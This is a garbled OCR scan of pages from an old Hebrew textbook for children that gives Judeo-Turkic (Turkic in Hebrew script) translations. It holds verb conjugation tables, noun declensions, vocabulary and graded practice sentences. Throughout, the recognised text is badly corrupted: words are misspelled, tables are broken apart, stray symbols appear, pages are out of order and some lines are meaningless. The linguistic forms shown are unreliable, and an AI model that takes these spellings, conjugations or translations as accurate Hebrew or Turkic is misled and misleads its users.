אבררי. ייקדי, ְגָרַעַ , אְָּסִילְדי, שאן , עוָמַת. שווכָת'
דווירדי. צווירדי, דונדוררי . אכסיפ אולדו ,
לרגל הילדיט 109
הזל
רְרף , קוודי . שוב , !בוראקדי . שכח , אונוטדי .
רד , קוולדי. נעָב, בוראקילרי . שבח , אנוטולרי .
-
לזכר | לנקבה | לזכר | לנקבה לזכר לנקבה
-
רף = (ִרְְפָה עב
+ | נָרְדּפַתּ | נְרְדּפָתָ נטְזְבְתּ |גָ
נ
נ
ד
נְשָכה נְשָבְחָה
נשְכַחְת ְשְבַחַ
₪
ו ו
א
. דיי
₪
1 -
בש
נִַדפתי | נְִדפתי | בי | תי = | נשְבְַּתִי: | נשכתקי
4 | נרְדּפוּ | נִדְּפּ ִעזָבוּ | נעזבו שחו | | נשכחו
נרדפתם| נִרְפְתן | ִעְּ עבת = | חפ | נשכתְתָן
| נִרְדפָנוּ | נְרְדפָנו גְטָזבְנוּ | נִעַזבָנו נְשָבַחנוּ | | נְשָבַּחְנו
תד | תררפי | | תעב | | מעשי = | משכח לגפי| שי
א |אקף | | שב |אעב | |אשכח": אָשָכַת ינמ
ב | ידדְפוּ | תִּרָדפְנָה עזָבוּ | תעָזְבְטָה = | ישָכְחו תִשָכְחִנָה
תרְדְפוּ | תִרֶַפְנָה = | תעבו | תִעָבְנָה = | תִּשָבְחי = | ִַבתְנָה
נף. | |נקף ב שבח "כף | נָשָבַח "כמ
*י ד'י*
1 ירַרָף תַרְדָףּ עזב תָעוֶב ישָבַח! בָה) תשכח ("בח)
+
- | דפ |חדְפי | | קעב | |העָבִי | |הַשָכַח "גפי| הַשָכְחי
| חַרדְפוּ. | הַרְִפְנָה = | הַעָזבוּ | העבה = | הָשָבְח = | השָכְמֶנָה
:
רפה יילפ בב | נְעַזָבָה יהזכתי| נְשָבֶּח | | נִשבְהַהַתַת)
רְּפִים | נִרְְּפת = | נַענָבִים | נעָזָבוּת = | נְשִכְתִים: | שחת
| נפד ,| נָרְדף נעָזב נְשָכּחַ
₪| שמ הֶרְדֶף העוב הַשבַח ("ְכְתַ)
ש
108 לרגל היזרים
פֶּה , - בד פָּה , | אִגיר אפולי, בַלטנ ,
לֶשון, ד ָּבְדי לשון, אניר דיללילר, בְַּמִבְּלֶר.
קרוע - . יירְטיק קרוע אדרְת, יירטיק בינישלי ,
אדָרֶת , ביניש.. מאנטייא | קרוּעי אַדרת יירטיק בינישלי לר .
שו ו וי שבוריףי = קקיאלליי.
שבוי ל קיריק. אֶלְלִי לר .
שבורי לב , קיריק קלבלי לר .
לבוּשי מעיל , ג'ובא גיינמישלר .
וד אל.
יר , א
שם רבים
% א | שם יחיר
נפרד | | אויך , הושמאן , אויבים
נסמך | | אב אָבִי . אויבי אבי
|| לזכר | לנקבה | לזכ | לנקבה
----77]"7-7--
אויבי אויבי איבי אויבי.
.
ב( אוכך = | אטב | |אטכה = | אב -
, אויבו אויָבָהּ אויביו אויביה
| אב | | אמבטוּ = | אוִבִנוּ = | אויביָנו
3 || אובְכֶ = | אאִבְכֶן = | אוביכם = | אובי
0
אוַיָבֶם אויָבֶן אויבִיהֶם | | אויְביהָן
(צב) מַלַמָד , מעליים. מַלַמָ בָּנִי, אוגלומוג מועללימי > מְלְמָרִי ; מִלמָרף '
מלמדך : מלמרו, מַלמְדָהּ , | למנו מלמְרְבֶס, מִלמֶרְבֶן : מלמרם ,
מלמחן , מלְמָרִים ; = מלמדי בנ ; מַלְְרי | מלמרִיף, מלמדיך ;
מַלַמָרִיכֶם , לניב , וכו".
(₪ ג') אוְהָב , סוויג'י דוט . אוהב בני : אוהְבִי ; אוהכְך אב -- אוהְבָנ
אובב : אוְהבים ; אוהבי ָנִי; אוְָבִי ; אוְהבִיהֶם וכו".
לרגל הילדים 107
ההיא.העיר נלכדה ובתיה נשרפו באש.האשההלבושה בגדים טובים ויקרים
היא המלכה. המלכה היא האשה אשר על ראשה נזר זהב יפה . האיש הזה
נטע כרמים וזיתים ולא אבל מפרים. ידעתי את מרים ואת קשי ערפם,כל ימי
חיי שבעתי עמל ויגון. נזרי הזהב אשר על ראשי המלכים כבדים מאד ועל
כן הם יקרים מאר . עצינו הגבוהים האלה לא נתנו פרים. עדי הכלה
הזאת טוב מעדי הכלה ההיא. החתנים האלה יפים ועדים יקר . החתן היפה
הזה שם עליו את עדיו . חצי העם נקבץ בבית דודי וחציו בבית. אחי .
העם נקבץ, חציו בית הנשיא וחציו בית המשנה . כל היושבים בעיר
הואת יקבצו מחר, חצים פה וחצים שם .
בו קוצקאר לר פּכ סמיז וא קוותליי דיר : אנלר חצאן בונאזלנירלר ז
אנלריג אָמי סאטיליר מי + משה ומרדכי: סיזיג קוצקארלריגיז. בנים
סורובימיג קוצקארלרינדן סמיז וא קוותלי דגיל דיר . אגר סניג קוצקאריגיג
אטי צכילירסא בנים קוצקארימיג אָטינדן אגיר גליר (אגיר אולור. כָּבך) .
בנים חסטאליגימא חיץ אילאג' יוק דיר . קיזקרדשים ! סניג חסטאליגיג
בו פוקרא קריניג חסטאליגי גיבי דגיל דיר . קרדשים דון צוק טילכּי לר
אַבלאדי. בו אגאלר אַבג'י ג'בבארלר דיר. אנלריג אָבינדן בן יימדים .
בן בו פנא חלקיג אראטינדא אוטורמייראים . סיזיג' אר אניזרא משה גיבי
עקללי תלמיד וא ר מי+ אללה ביזים קיינימיזי וא אמַגימיזי גורְי וא ביזי
אג'ידי. בו עקללי אדם סיזיג חפטאליקלריגיזי אוגאלטדי מי + קרט ליק
גונלרי יאשליק גונלרי גיבּי דגיל דיר . סניג אָטלרי. מְמיוּ קוצקארלריג
דון בוגאזלנדילר. סניג מייבאסי דאמלי אולאן אלמא דירגיג (תפוח)
קורודי . ביזים מייבאסי איי אולאן זייתון דירגימיז (ןיות) אטשא יאנדי.
אנלריג. יאגי איי אולאן זייתון דירכלריני כּים דיכּרי + הם שראביגיוי
איצדים הם אכּמכ גא דויידום. בן נא זייתון דירגיגורדום נא בּאב כוטוני.
חלק נא פני3 אָביגא דוושירילסין נא בנים אָבִימא .
6 6
טֶהור , פּאפ , הור לָב , פאכ קלְבְּלִי
לב , .הל , מהורי לב , פּאכ קלבלי לר
שָפָל , אלצאק, שפל רוח , אלצאק ניאנלי .
רוח , נ'. ג'אן . שָפָּלִי רוח , אלצאק ג'אנלי לר.
תָּמִים , טול . תמים דּרָך , טוגל יוללי. .
לי [תמימי דרך, טגל ילל לר .
106 לרגל הילרים
ג'נכ וקתינדא ג'ומלא אָבלרימיוי אמשא יאקדילר. ג'נכ וקתינדא ג'ומלא
אבלרימיז אמשא יאנדילר . ג'ומלא עומרומיג גונלרי אללהיג כּלאמלריני
(סוולריני+ סאקלדים . עומרומי3 ג'ומלא גונלרי הר גונאחדן סאקינדים
ננשמר). ג'ומלא עומרוג גונלרי אללהיג כּלאמלריני סאקלא . הר פנא
וא יראמו אדם דן סאקין"נשמר). תלמידלרים ! אללהיג כּלאמלריני
דיגלמייא | מי בוראיא דוושירילריגיז ייקסא טורכולר דיגלמאיא מי .
שרה ורבקה : סיז דירליגיגיזיג גומלא גונלרי גּונאח דן וא הר פנא איש
ְדְבָר) דן סאקינדיגיז , שרה ורבקה : סיזיג = ארדיגיזדן קוואן פנא קוללררן
סאקיניגיז זירא אנלר סיזי אולדורורלר (הרג). בו פנא אדם דן נאסלי
סאקינאיים , או איסא אררימדן קוואייר. בו פנא | יראמולרדן נאסלי
פאקינאייק , אנלר איסא ארדימיז דן קוואייר לר . שרה ורבקה! סיז
גונאחדן סאקינ מיירסיגיו .
בן פנא גיוואבלר יאזמא דן סאקיניר אים . סיז רובאלריגיזי יירטמאדן
סאקינמיירסיגיז . אוגלום פנא תלמידלרדן סאקינמאיא קאדיר אולמאז .
ג'נכ וקתינדא צוק קאן דוכולרו . נעכ וקתינדא קאן דוכולייר . ירושלם
יארין זאבט אולונור . ביזים יו שהרלרימיז זאבּט אולונורלר . בו חַלֶק
בוראיא נא איצון דוושירילדי + בו חלק בוראיא נא איצון דוושירילייר ז
קיזקרדשים ! בו אוגלאנא ייגי רובא דיכמאדן סאקין , זירא או אני
יירמאר . תלמידלרים: ג'היללריג טורכולריני דיגלמאדן .סאקניגיו .
קיזקרדשים ארדינדן קוואן פנא אדם דן סאקינמייר . אללה אבלרימיזי
יאנמקדן סאקלאסין. אבימיז יאנדיגיגוני בּבאם אולדי. וא קרט בּבאמיג
אזבארינדא גומולדו , ירושלם זאבּט אולונדוגי גון איצאריסינדא אוטוראן
אגאלר וא בומון חלק קאצרילר . בו דירכלר דא אוכסכ דיר וא אנלריג
מייבאסי איי וא דאמלי דיר . קיז קרדשים! בּבאם סניג אסיליגיני וא
עינאדציליגיגי בילייר , סיזיג אלטין סאגיטלריגיז וא גומוש סאגיטלריניז
ביזים אלטין סאגיטלרימיז דן וא גומוש סאגיטלרימיז צוק דיר. בּאשימיג
אגריסי סניג באשיגיג אגריסינדן פנא דיר . ביזים גונלרימיז גולנא. גיבי
גציירלר . יאשליגימיזיג גונלרי ולא גיבּי גציירלר .
גם כלי כסף גם כלי זהב נגנבו מביתנו . גם אנחנונעבר את יהוהכי
הוא אלהינו . האלהים רפא את חליי אשר לא היה לו מרפא . האלהים ראה
את עניי ויחמל עלי . האלהים ראה את חליינו ואת מכאובינוויחמל עלינו.
רודי מת אתמל ויקבר חיום בקבר זקני. דודי היה גבור ציד. למהלא אכלת
מציד דודי בני צר היום אריה יפה וגדול .. יין הגפן הזאת טוב מיין הגפן
|
|
,
לרגל. הילרוס 5
מִי שָחט אֶת הֶענָל הַזֶה+ מָתִי נשחט הֶענָל הוֶה + מִי שָחט אֶת
שר =
הַפַּרֶהז מַתִי נַשְחַטָה הַפַרָה + מִי ישחַ ט אֶת הַעְגָל : מִתי ו ישחט הַענל :
מָתִי תְַחטוּ אֶת עְְלִיבֶז מַתִי הי טוּ ענְלִיכֶם+ שרה ורבקה וּמרִים !
מָּתִי תקְבצנָה בּבִית דורְכָן. 1 התמודים, אֶשָר נפלוּ = בימי מלְחָמָה
ברו בִירוּשָלם. . הֶרְשָעים. שרפו בְּאָט אֶת בּתִּי ירנ . = בָּתִי
עירנו גשרפוּ. באש . = הַלְשע ה = בּאָש עולֶם . הרְשָעִים ישרפו בַּאָש
עולֶם. כָּל ער יַשְרְאֶקַנְשָרפוּ בְּאָש. ט. הַלְמִידִייְבְצו גם מַהַר לְשָמע דּבְרִי
אֶלְהִים. שָרָה וְרבְקָה ומרִיִם: מָתִי תִקְבצנָה לשמע שִירִי הָאשה הַהְכָמָה
מִתִיתִקִבַצְנָה אַחותִי וְאָמִי וְשְרָה וְרְבְקה ומרים לשמע דִּבָרִי חַבְמָה וּמוּמֶר,
מָתִי תַשְחְמֶנָה הַפרות אש לְרורְכָן זַלְמִידי! מתי חחבצו לשמע אֶת אַשָר
כָּחֶב ָחָכֶם הגָדול הַהוּא . גְדולָה ורַהָבָה קָעִיר אֶשֶר מנדליק נלבדו אתמל.
הַמְלְמָד אֶשָר תַלְמִיייחַבְמִיםמַת אַתְמל מות קרושים. הָענִי אָשָר הלויו
הָיוּ רָעִים מַת הַיוּם. .
ַלְמִידִי + הקְבָצו היום בביתי לשמע אֶת אש יְכְתַב אֶל הטלך . אי
ואַחותִי וְשְרָה וְרַבְקָה וּמַרְיָם ! ההִבְצָנָה היוס בְּחדרִי לְשמע אֶת השיר חיקר
אשָר כּחַב דּוּדִי . רְאִיתִי אֶת בת דון רִי וְהָנָה הוא נשרף בָּאש. רְאִיתִי
אֶת בִיתְך וְהַגָּה הוא נְשרֶף בָּאָש .ה נְשְחָט הָעַנֶל . נשְחָט הַעְנָל . בר
| הִעְגָל
הָעַם נקְבִּיץ בָּבִית הַנְשִיא . ל הַעַם קב בת קר למ" הַיוּ הבַּתִים *
הַנִשרְפִּים הָהֶם? ם? עירנו נִשְרְפָה בְּאָש : עירנו נִשֶרְפֶה בָּ בְּא אש . עירנו נְשָרְפַת
בְּאָש. הַפָרֶה אָשֶר לאח תִי נַשְהַמָה אַתְמל. הִפָּרָה אֶשד לְאָחִי חִיַשֶחָמָה
היום . הַישְרְאָלִית ְהַמְצְרִית הַנְקְבְּרות 1 היום היו ענת מאד . הַשָפָחָה
אֶשֶר רדף א הי אַחָרִיה ָּבָה מָבִּיתַנוּ מִזֶרָקי כַסָף . הַעְבְדִים אֶשֶר ררפו
משָה ושמואֶל אחְרִיהם שרפו אֶת בַּית דּדִי בָּאָש . פה נְקְבְּצו מַרְכִים
רבִּים וּמי מְהָם מל ירוָּלֶם ל הַמִלָך אַשר על ל ראשו נִַךְ זהב גדול. הוא
מלך יִשָלם הוום שת הקִבְיזֶה העם. היום יום השרף. ירוּשָלם . מתי
עַת הִסָּגֶר הַדּלֶת . הַיום יום הַלָבָד רוּשָלֶם . בְּהַלְכָד ירוּשלם כל" הַישבִים
= ה
ְּוּכָה שרפו אֶת בַּתִּיהָס בּאָש. כהפגר הדלת וְאַחִי בא מן השְרָה ,
בו יראמז . אגא ביזים אבימיזי אמשא יאקדי . אבימיז = אמשא
= = |
יאנדי. אבימיז | אטשא יאנייר . ביזים פאדשאהימיז בו אוכסכ בורנ'י
זבָּמ איט די . בו אוכּסכ בּורג' דון זכט אולונדי , בו אוכּסכ בורג זְבֶם
-
אולונייר .. מליכה צוק שהרלר וא אסכ בורל זט אימדי . ביז
איצַריסינדא אוטורדוגומיז שהר דון זבּם אולונדי . דון זט אולונאן שהר
בּגאית ביוכ וא: איצריסינדא צוק חלק ואר) כי סאיילמאז: יראמזלר
(חלק ראשון) 14
14
טוב מוּתִי מַחִיי .
הָעִיר הַגְוּלֶה אשָר יָשָכנוּ בָּ נשֶרפָה
בְּאָש בּעַת ַלְְמָה.. /
ערי יָשַרְאֶל הגרולווז נַשָרְפוּ בָּאָש .
מָתִי יַבֶר האיש אֶשָר מַת אֶתָמל פּתאם?
ער מָתִי לא יפרו פחְחִי בְִיכֶם + \
הָאִיש הַחָכֶם ההוא מַת מות ישרים .
הָּאִיש הְעָשיר הזה מַָת מותִי רְשָעִים .
חיינוּ מִלְאִים עמָל וגון , טוב מותנו
מַחִיינוּ .
תלְמִרִי ! לָמָה נְקְבְּצְקּם פה -- לשמ:
חִכָמַה לְלָמד מוּסָר .
הַקְבְצוּ פה גּם מַחֶר .
אבי היח בירושלם ְַּּכֶץ שָם רָאשִי
ישרְאֶל .
נם אָני יִשָבְתִּי בתברון בהשרף ירוּשָלם
בָּאֶש .
כְּהנְכָד יָרוּשלם ונשָרף אֶת בְתִינוּ בָּאָש .
אֶחָמַל כִּית דוי נַשָרַף בָּאָש .
היום בִּית אֶחִי נשרף בְּאָש .
מָדוָּע נְְבְּצִים רָאשי הְעם כִּירוּשָלֶם ?
הַכַּלוּת הַנקְבָּצות פה יפות מָאד
נְשָיא אֶלְהִים אַמָּה בְּתוּכנוּ. .
ערִינוּ: דולו וּרְחָבוּת
אשָר לא יִסָפַר .
וּכְתוּבֶן עם :רב
ימי חיינו קְצרִים וְמְלָאִם עִמָל וינון:.
לרגל הילרים
אולומים דירליגימדן איי דיר .
או בּיוכ שהר כי ביו אנדא אוטורור אידו
ג'נכ וקתינדא אטשא יאנרי .
ישראלי! ביו שהרלרי אטשא יאנרילר .
רון אפאנסיו אולן כּימסא חצאן נומוליר ?
אַכלריניזין קאפולרי | חצאנא | קדר
אורטולמז .
או עקללי אדם רוגרולר אולומיני (אולומי
אילן) אולדו .
בו זנגין אדם יראמז לר אולומיני (אולומי
אילן) אולדו
דירליגימיז אמכ וא קאיינו דולו דיר ,
אולומימיו רירליגימיודן איי דיר .
תלמירלרים ! בוראיא נא איצון דוושירי-
לריניוז חכמה רינלמכ וא טר ארב
אונרנמכ איצון .
מוראיא יארין דא רוושיריליניו .
בּבאם ירושלם דא אידי אוראוא ישראל
באשלרי דוושירילריכ רא .
ירושלם אטשא יאנדיק רא בן דא חכרון
רא אוטורור אידים .
ורושלם אלינדיני גיבּי א כלרימיוי אטשא
יאקריק .
רון אקאמי! אבי אטשא ו
בוגון קררשימינ אָבִּי אטשא יאנאייר .
מיללתי1 באשלרי ירושלם 1א נא אוצון
דוושירילייר ?
בוראיא דוושירילן גלינלר פכ רילבר ריר -
ביזים | אורטאמיזרא (אראמיזרדא) סן
אללהי1 בּוך אנאסי סין .
שהרלרימיו ביוכ וא פניש דיר וא אנלריג
אורטאסינרא (איצינרא) סאיילמיינ'ק
צוק חלק (ואר דיר) .
עומרומיזיג נונלרי קיסא וא אמכ וא קאיינו
חולו דיר .
לרגל הולדים
אילאגי .
רַע, .
מַרְפָּא \ 6
הלה חָלי
שָרף
5נא
. 2 יאקד
כּפסיזליכ כפסיזלנדי , :/
פנא פפסיזליב | רן
כּפסיזלנדי . יאנדי .
אֶחִי קרא אֶת אָשֶר כָּב הַמְלַמּר .
יא אֶת אָָר נְכְפ בְפַפֶר הזה .
תּלְמִירִי לָמַדאֶת כָּל אַשר נִכְפַּב בּסְפַרףּ.
אַחוַתי כַּחְבָה לי אֶת בָּל אָשָר נשמע
בָעִירְה .
ִבִי חָלָה חלי אֶשֶר אין לו מרְפָא .
הבְִּים אָשָר אְחְנו יוּשָבִים בְּהֶם נּוּחִים
אֶחותִי נְטַעָה אֶת הָעַץאָשָראָכלְס מִפריו.
אֶחִי נְשעַאֶת הַבָּרֶם אֶשָר יט טוב מָאר .
אֶתמל מָת הַחולָה אֶשָר לא הִיה מַרְפָּא
לְחַליוּ.
הָאָשָה אֶשר בִּיתָהּ קרוב לְבִיתִינוּחִכָמָה.
הָעיר אָשָר יושב בּּ אחי גָדוּלֶה וּרְחִכָה
מָאד..
העבר אָשֶר רְרְפָּפִּי מָרִיו ב מְפִית אִָ
ּלִי כסף ולי ְהָב .
ענִי מאר הָאיש אָשָר בִּיתוּ נשרף אֶתְמַל,
נּם אֶת מַרְוּ גם אֶת קשי עַרְפָּנוּ: יורע
הָאָלָהים . |
נם נָדר הָאִיש חַזֶּה: גם עשה אֶת אֶשֶר
, ישרף
שרף ז בָּאֶש , אטש דא
, אמשא ואקדי,
נשָרף בָּאָש ,
יאנדירילדי ,
1%8
,| יאקדי . לָבוּש. כִנְרִים צוְאִים ,
כירלי רובאלר גיינמיש ,
שבע לְחם ) אכמכ גא
אטשא דוּיירך :
אטשא
קררשים מועללימיג יאזריניני אוקודי .
אוגלום בו תאב דא יאזילאן ני אוקודו .
בּנים תלמידים סניג פּתאביג דא הר נא
כי יאזילדי אוסא אונרנדי .
קיוקררשים בנא שהרינדא הר נא כּי
אשיטולרי איסא יאזדי .
בּבאם אוולא חסטאליק (רן) חסטאלנרי
כּי אגא אילאג' יוק דיר (אילאג' אולמייאן
חסטאליק רן חסטאלנרי)
אנלררא פיז אוטוררונימיו אָבָלֶר אוכּסכ
דיר .
סן 0 יודוניג דירגי קיוקררשים
דירי .
שראבי כ איי אולאן באזי קרדשים דיכרי.
רון אולרי או חסטא כּי אניג חסטאליגינא
אילאג' יוק אורי .
אבי אָבִימיוא יאקין אולאן קרי עקללי דיר .
שהר בי אנרא קררשים אוטורוייר. בּיופ
וא כניש דיר .
בן ארדינרן קוודיגים קול בּבאמין אָבינרן
גומיש ל וא אלטון סאניטלר
צאלדי
רון אָבי יאנאן כימסא פכ, פאקיר דיר .
אללה ביזים אסיליגימיזי רא וא אנסאמיזיג
קאטיליניני דא (עונאדצילינימיוי דא)
שור
ו אדם הם אניית איטרו הם א
איטריגיני אועו יי
איניית
12
זית , זייתון . זייתונלי
ם
זית דורי .
לזכר
ְיתִי
בת
תו
5
1%
זִיתַנו
דַתְפָּס
ב 6%
ִתֶם
+ ראש , באש - (1) , ראשי
נון. (6, ימִי,
צן ב') , בִיתִי, בּיתף,
ר (1), .עירף, עירו ,
* ים,
"כ
. שיה,
ַ'' שְהר
תי , (צז א) ז' , אוְרמָא;
תוך הַבַּית , אַביג
אורטאפי : בּתוך
הב , = איג
אורטאסינדא .
אל , (צז ב)ז . קוצקאר .
(עז ב) 1. שראב .
צַיֶר, (ב) ז' , אָב- נְבור
צוך , אבג'י בּגאטיה .
קשי . קשי , (חץצ 0 זי
קאטיליק
| לנקבה |
לרגל. הילרים
יהיד
זֶיתִי
ית
ָתָּ
תו
שו
דתן
, ראשף,
יומֶף,
מָרי, מָרִי, (זצ ) |
בכ , כל + (שץ 1 ז
מצי , חצי , (עצ )
ערו
שם רבים
יָתִים .
זיָתִי דורי .
לזכר
| לנקבה
תי זיתי
פד | ותף
לת זתַיהָ
תו | זתִינו
דִּתִיכָס | נְַתִיפָן
ְתִילֶם | | ְתִיהָן
ראשים : (0) באשלר, ראשינו : רָאשִיכֶם.
ָּמִים, נתלר (6 = יָמִי , יִמַנןּ , ימיו .
בָּתִים , אַבָּלר (1) בִּסיף , בַּפִינוּ . וכו'
שרִים , שחילר()) = עָכִינוּ, פס .
ערף , (זעץ א)ז אָנְסָאג
קש ערף' + אגסא
אגְלוב . קאטיליגי, עינאדציליק ₪
עינאדי . =
/ 9 \
יארים . שקל , (ישקל) % '
, ולצרי (טראזי אילן).
ו עְרִי , (חץ )ר אולצרי (₪ |
עדיים עָרִיִי וכ') | רְפָא , אוגאלטדי ,| סאג
בָּזֶב. איטדי (חסטא ני6 .
חלי חק לו , (עו ד'.רבים: צר , אבְלאדי .
חלוום, חלָיינוּ, וכוי) 1 '
חסטו ליק ,
איש ' אמש .
פפסופב ,= אש 80
לרגל הילרים
ג לְאֶחִי נתן אָכִי ספָר , בּבּאם קרדשימא דא כּתאב וירדי .
גּם לחם לא אָבְלְתִי הַים , בוגון אכמכ דא יימָדים .
גּם מִּבֶן גּם מִסְפא רַב עַמנוּ , יאנימיזרא סלאם דא ביצן
דא צוק דיר .
ג אֶתמול גם הִיוָם , הסדון הָס בּוגון .
ג לי גָם לף לא ימִכר , בגא דאפאטמו, סנא דא. נָא
בגא סאטר נא סגא ,
ג המל גם היום לא אכלפי לחם , דון דא בוגון דא אכמכ
יימדים. נא דון אכמכ יירים. נא בוגון .
1 א
שם יחיד | שם רבים
נפרר
נסמך
מות , אל ". מותים !
מות אבי . מותי רְשָעִים:.
ו
4
ב 660
לזכר | לנקבה | לזכר | לנקבה
מותִי מותי מותי מותי
מותף מיפך | | מפוף = | מתיף
מותו מַתָהּ | | מותיו מותָיהָ
מותְנו מותנוּ | | מתינוּ = | מותינו
מתְכֶם = | מותִכן | | מתִיכם = | מוַתיבָן
מתֶם | | מתֶן = | מתִיתָס | מתִיקָן
101
100
-- |
24
יאזדי ,
| :
ְּתֶב ,
|
|
-- הרי
| כְתב | בַּתֶבָ
1 | 5
הי ו
| כת תִבנה
לזכר | לנקבה
כּתב כתבה יאזרי
2 ב דן;: 7+ \
כּתבָתּ | כתבת יאזריג
ר- 0 6-ו
כַּהַבְתִּי | כּתכתי יאזדים
ון בכ ₪ עד הכה \
בתכו כּתבו יאזדילר
דן: פן:
> | כּתַבְתֶּם | כַּתַבְפָּן | | יאזדיגיו
פּתכגו | |-כתרגו יאזדיק
->: 6 2%
יכב | תכתב יאזר
+ | תַכתב | תכתבי | | יאזרסין
- | אָכתב | אָכתב יאזר אים
יכתכו | תבהבנה | יאזר לר
ב -- 1 := ו ו
.- = הרפדו יאזר כינוז
ו 1-4 הנש גבְנָה . - <
נרחר נכתר
4 = 6 6 ב -
| . ץ + :+ . 5
גטיקמד הגנ ב מממחנ. .מה .תמ 4< 267 ובפומ:- אחד:רהמחעצ רומ 3 .בישמל ונ בג :ד.א חוד פמ דא.תו.ת. ר"ד תפ גגח הששמיפר) פאה זי 53-15 חרח. באא 184.8 ור, .| דה הדמ פד המנתמה/9 | חש השמעמתד ששה
: 2
| . .
| פּתב = | כּתבה מְבָתו| יאזוניי
/ .. וב - 1
יי ירת -. 0 יי ו
כתכים | כתבות אזיג''לר
ן
ררופ 2 ל
| כו כתובו יאזילמישט
ףח מ \ מ באן : 2
כתוּ-ים | כּתוכו אזילמישזו
ו
:
תרף =-
4 / = (-
וו\..+-
0 +'ו-ש
> -- חש = [
---ן / 1
נַבְתָב,
יאזילדי
לזכר |
לנקבה |
ורהר
=
5 ו
,
. -
נכחבתי
ורחר
-<- -- 1
- -
נבְתבתקם
4
נכתבנו
2
- אזר י
נַבְתִּבָה יאזילד
2
נכתרבת יאזולדיג
יבב
1-2
תכתר
- =
ואזילריק
יאזיליר
ב יאזיליר סין
יאזיליר אים
יאזיליר לר
: ) :5
נכתבתי יאזילרים
נכְתבו יאזילדילר
ְכַּבְתַּן | | יאזילדיגיז
: 2
? -.
תכתבו | הכתבנה יאזיליר סיגיז
4 5 5 ₪ 5
נכתב נבתר יאזיליר איז
> םת 1.77
| 1
ְַתָב = | הָנָתבִי = = | אול
הכתבו | הכתבנה | יאזיליניז
1 | * 5 4
נכהב \ = | נכתבה תבת) | יאזילמיש
מו .]1 ם
יאזילמישלר
רברזאריה ירהכרום
4-'= ₪ -=- גב ,
מו או לד +
.
נתר ₪
-- ו , כ- = .
5 האר וי מש - יאזילמק
ש רעי כ ו 'ק/-
לרגל הילרים 99
הסלמיר אשֶר לו הפפָר הַזָה חְכם, בו כתאב אניג' אולאן תלמיר עקללי דיר .
הָאיש אָשר אִין לד כָּסַף ענו , = אחצאפי אולמייאן אדם פקיר דיר ,
הבית אשר בו אבי גכוח , בבּאם אנדא אולאן אַָ5 אוכסכ דיר .
הער אֶשַר שם שב הַמָלָ גרולה , איל שתר נררא. כּי פארשאה | אוטרוייר
+ 4- ל ד - "וש ץ 8
י: ביוכ ריר.
האיש אשר עליו מעיל מַשִי עשיר , אוזרינדא איפכ ג'ובא אולאן כישי זנגין דיר
7 4 צ' ז"ז ג 0
הַמַלְךָ אֶשָר על ראשו מַר זָהָב הוא מלכנו , באשי אוזרינרא אלטין טאג' אולאן
פאדשאה ביזים פארשאהימיז דיר .
אַחָרִי , אַחָרִי הִעבָד , קולוג' ארדי סירא , קולול ארדינדן . אַחָרִי , בנים ארדיטרן ;
ַמָרי, אמָרך , סל ארדערן + אמְרִיו, אַחָרְהָ, = אנ אודעח ,
אחְרִינוּ; אִחָרִיכֶם , אִמְרִיכֶן ; אחרִיהֶם , אִחְריתָן .
( 2 צ
6 לרגל הילדים
אבי חדל לכתב את ספרו היקר . אחותי שבעה ותחרל לאכל . כשמוע
אחותי את שירי דודי ותכתב אותם על ספר . כתפר אחותי את בגדי
ואלבש אותו . כלבש הנער את בגדיו החדשים ויקרע אתם. איה היה
העבר השומר את הבית בגנב הגנבים ממנו כסף וזהב . אבי בא אל
הבית בזרח הככבים ,
אללה הר כישי ני תג'ריבא אירר (חַקר). אללה הר כישי נייתג'ריבא
אידייר . אללה ביזי תג'ריבא אירר. 5ירסיזלר סניג גומוש טאפלריגי
צאלדיקדא בן אודאדא יאטר אידים נשָכַבְתּי) . חלאייק בּאלי יידיכדא
קרדשים אודאדא אידי. אלמאלרי יימייא וקת דיר. איפכ בורונג'יכלרי
דוקומאיא. וקת דיר . בו סמיז אינכלרי בוגאזלמאיא וקת מי דירז יצחק
ושמואל : סיזיג אַטלריגיזי בו אראבאיא יכּמִייא וקת דיר . בּבאג
נרדא דיר או צארירינדא יוק מי דיר אושטא או בנים צאדירימדא
דיר . שרה! סן בימיג אוגונדן קאצייר סין+ בן קאצמייר אים עקבה .
שרה ומרים ! סיז אודאגיו דא דגיל מי סיגיז? סיז צאריריניז דא דגיל מי
סיגיז + פאדשאהיג באשי אוזרינדכי אלטין טאג' פּכ אגיר דיר . בו
פאדשאהלריג מאג'לרי פּכ דילבר וא פחאלי דיר . בו אלטין טאג'לרי
יאפאן אוסטאיי גורדים. פוקראלרא יארדים אידמכ יראמזלרא יארדים
אידמכדן איי דיר . חכמה וא טרכ אדב אוגרנמב בוטון גון אויינאמק דן
וא סכירמכ דן איידיר. בּבאם אמר איטריגי גיבּי בן אניג = מכתובלריני
יאזדים : גונש בלקידיגי גיבי בבאם ירושלם דן ציקדי .
3
הְנְנִי כב אֶת אֶשֶר אמר אבי , = אושטא בן יאזיור אים נא ני כּי סוולדי בּבאם .
אושטא בן בּבּאם אמר איטדיגיני יאזייר אים.
ְבִי נה אֶת אָשר מָכֶר הצרי , מסרלי סאטדיגיני בּבּאם סאטון אלרי.
אחי כַּחָב את כל אֶשר שָמֶע , | קררשים ג'ומלא אשיטדיניני יאזרי ,
הנשיא עשה את כל אשר דר , אגא הרנא כי איניית איטדי איסא איטרי.
האיש אֶשַר לו הַבַּיִת הוה עשיר , אול כישי כּי אנא דיר בו אָב, זננין דיר, בו אָב
אניג אולאן אדם זננין דיר .
|
|
|
|
|
לרגל הילרים 07"
| חשך היום + כַרִים וְרְבּקֶה ו הַאִינְכֶן שמעות אֶת קול אָבִי הַהולֶך בַּגָּן .
אָנְחְנוּ אִיננוּ שמעות אֶת קול הַנַשִיאִים הַוּשָבִּים בְּאֶחָלְנוּ. עת סגור וַעַת
| פתוח+' עת לסגר ות לפתח: עזר טוב מַעזב. = טוב לְעזּ אֶת הָעניּים
| כּרוחַ השמש וְאָבִי ָצָא מן הבית .
אללהיני אונוטאן כּימסא כּים דיר. גנדי אללהיני אונוטאן אגאלר
קרנישלי דיר . בו פנא אדם איניית איטדיגי אינייתי איטמדי . בו אגאלר
אללהא אינייתלר אינוית איטדילר. בו אללהא. אינייתלר איניית אידן
אגאלר זנגין מי דיר . בו אראבאיא ייגילן אינכלר סמיז וא קוותלי דיר.,
בו אחתייאר אדם אללהינא אינייתלריני איניית איטדי. אקאם בּאגינרא
מייווא' דירכלרי דיכייר , בו צאדירינדא יאטן חלאייק פּכּ כפסיו דיר ;
אניג צחרָאסי כזמור דן זיידא קרארדי . פאדישאה בוגון צאדירינדן
ציקמאדי, זירא או בוגון כפסיז דיר + או ג'נכ וקתינדא פפסיולנדי .
